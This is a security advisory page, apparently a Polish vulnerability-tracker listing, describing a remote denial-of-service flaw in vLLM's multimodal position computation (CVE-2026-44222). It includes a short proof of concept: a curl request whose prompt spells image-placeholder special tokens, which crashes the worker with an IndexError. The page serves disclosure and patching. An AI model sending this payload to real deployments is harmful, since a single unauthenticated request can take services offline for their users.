Średnia

vLLM Vulnerable to Remote DoS via Special-Token Placeholders

  • Ujawniono: 05.05.2026
  • Aktualizacja: 11.10.2026 15:17

Summary

This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.

Details

  • Affected component: multimodal input position computation.
  • File/functions (paths are indicative):
    • vllm/model_executor/layers/rotary_embedding.py
      • get_input_positions_tensor(...)
      • _vl_get_input_positions_tensor(...)
  • Failure mechanism:
    • The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
    • When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.

Representative snippet (context):

python
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
    cls,
    input_tokens,
    hf_config,
    image_grid_thw,
    video_grid_thw,
    ...,
):
    # detect video tokens
    video_nums = (vision_tokens == video_token_id).sum()
    # later in processing
    t, h, w = (
        video_grid_thw[video_index][0],  # IndexError if no video data
        video_grid_thw[video_index][1],
        video_grid_thw[video_index][2],
    )

Abbreviated call path:

OpenAI API request
 → vllm.v1.engine.core: step/execute_model
 → vllm.v1.worker.gpu_model_runner: _update_states/execute_model
 → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
 → _vl_get_input_positions_tensor
 → IndexError: list index out of range

PoC

Environment

  • vLLM: 0.10.0
  • Model: Qwen/Qwen2.5-VL-3B-Instruct
  • Launch server:
bash
python -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-VL-3B-Instruct \
  --port 8000

Request (text-only, no image/video data)

bash
cat > request.json <<'JSON'
{
  "model": "Qwen/Qwen2.5-VL-3B-Instruct",
  "messages": [
    {
      "role": "user",
      "content": [
        { "type": "text",
          "text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
      ]
    }
  ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  --data @request.json

Observed result

  • HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
  • In some deployments, the worker exits and capacity remains reduced until manual restart.

Impact

  • Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
  • Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
  • Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

Fixes

Credits

Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) vllm >= 0.6.1, < 0.20.0 0.20.0

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-129
Platforma
Python (PyPI)
Paczka
vllm
Ujawniono
05.05.2026
Aktualizacja
11.10.2026 15:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-3409 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-hpv8-x276-m59f - CC BY 4.0

Historia podatności: vllm

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (94) w archiwum
Wszystkich wpisów
94
Pierwsza → ostatnia
09.2024 10.2026
Bez poprawki
5
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 9
  • Wysoka 23
  • Średnia 47
  • Niska 4
  • Nieoceniona 11

Ujawnienia w latach

  1. 2024: 2
  2. 2025: 30
  3. 2026: 62
Istotność:
  1. Wysoka · 7.5 CVE-2026-54234 >= 0.17.1, < 0.24.0 0.24.0
  2. Wysoka CVE-2026-55514 >= 0.12.0, < 0.24.0 0.24.0
  3. Krytyczna · 9.1 CVE-2026-48746 >= 0.3.0, < 0.22.0 0.22.0
  4. vLLM Vulnerable to Remote DoS via Special-Token Placeholders ten wpis
    Średnia · 6.5 CVE-2026-44222 >= 0.6.1, < 0.20.0 0.20.0
  5. Krytyczna · 9.8 CVE-2026-22778 >= 0.8.3, < 0.14.1 0.14.1
  6. Wysoka · 8.8 CVE-2026-22807 >= 0.10.1, < 0.14.0 0.14.0
  7. Wysoka · 8.8 CVE-2026-56340 >= 0.10.2, < 0.13.0 0.13.0
  8. Wysoka · 6.5 CVE-2025-62372 >= 0.5.5, < 0.11.1 0.11.1
  9. Wysoka · 8.8 CVE-2025-62164 >= 0.10.2, < 0.11.1 0.11.1
  10. Wysoka · 7.5 CVE-2025-59425 < 0.11.0 0.11.0
  11. Wysoka · 8.8 CVE-2025-9141 >= 0.10.0, < 0.10.1.1 0.10.1.1
  12. Wysoka · 7.5 CVE-2025-48956 >= 0.1.0, < 0.10.1.1 0.10.1.1
  13. Krytyczna · 9.8 CVE-2025-47277 >= 0.6.5, < 0.8.5 0.8.5
  14. Wysoka · 8.0 CVE-2025-30165 >= 0.5.2, < 0.10.0 0.10.0
  15. Krytyczna · 10.0 CVE-2025-32444 >= 0.6.5, < 0.8.5 0.8.5
  16. Wysoka · 7.5 CVE-2025-30202 >= 0.5.2, < 0.8.5 0.8.5
  17. Krytyczna · 9.8 CVE-2024-9052 <= 0.8.1 brak poprawki
  18. Krytyczna · 9.8 CVE-2024-11041 <= 0.6.2 brak poprawki
  19. Krytyczna · 9.0 CVE-2025-29783 >= 0.6.5, < 0.8.0 0.8.0
  20. Wysoka · 7.5 CVE-2024-8768 < 0.5.5 0.5.5

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.